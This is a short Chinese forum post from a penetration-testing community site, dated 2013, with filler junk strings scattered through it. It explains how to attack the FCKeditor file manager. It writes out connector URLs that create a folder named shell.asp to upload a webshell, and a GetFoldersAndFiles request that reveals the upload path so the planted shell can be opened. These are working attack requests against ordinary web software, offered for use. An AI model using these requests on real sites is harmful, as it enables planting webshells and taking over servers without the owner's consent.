中国网络渗透测试联盟
标题:
fckeditor找上传路径方法
[打印本页]
作者:
admin
时间:
2013-10-17 19:37
标题:
fckeditor找上传路径方法
网上流行着是上传是这样子的
; w9 G9 {. U1 u9 c0 y
$ N# f9 a9 i+ z$ J
http://localhost/fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp
( z. z+ v, x& D; y+ {8 B
http://localhost/fckeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
% m* {& i, g" K( l1 D+ l
X. k: J( q5 a; p5 d* C2 o3 A1 }# q! u
上传后老找不到路径，测了一下，我发现
! l$ B# |4 X. w; B
4 }) h) O. v# |) U, L. [( }& r8 Z
FCKeditor3/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
9 S8 |- ?' }0 S8 f+ S1 y! \: @! ~1 X
0 C* I& Y6 _; v3 n
可以爆出路径，显示以下内容
8 u- X' }5 z5 H- W( D
! b% T" Y+ l* l5 l! p
0 {& ~2 S) m/ C6 z5 y/ N Q! f
得出路径，直接打开就见到马子
" m, ~+ @# Q& Q; x
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2